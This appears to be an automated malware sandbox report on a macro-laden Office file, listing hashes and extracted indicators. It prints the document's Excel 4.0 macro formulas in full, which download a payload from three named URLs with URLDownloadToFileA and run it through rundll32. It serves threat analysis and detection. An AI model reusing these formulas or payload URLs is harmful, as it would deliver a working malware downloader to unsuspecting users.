General
-
Target
?i=1rcixlqso
-
Size
83KB
-
MD5
8d09ec7797984a737034a20bb36f7d29
-
SHA1
6629a4afb00ae6314148a4bd26e4bd6bef13cfdf
-
SHA256
7502d81e1850ddeca8f2a9b2b5b986b1402710ac10ba7247fa34dbde1e9f1399
-
SHA512
4d944f5bfedae36ecd8f42a6613529647d638fbddd1af6a5d3a3ae6b7a4289b5d051e1d6cd25d58a14e5efd88b071438e578bafc166e07851e0e044567bcb684
-
SSDEEP
1536:H5V4HL2sqxG/+CbEcWeu3XDXeoiHwt/uE1d7mT6SrPag3HtQVASgVI:ZV6WG/+CbE9H78wt2E1d7e6STa6SJ
Malware Config
Extracted
http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/
https://wordpress.baishuweb.com/wp-includes/10q0ice6/
http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wordpress.baishuweb.com/wp-includes/10q0ice6/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
?i=1rcixlqso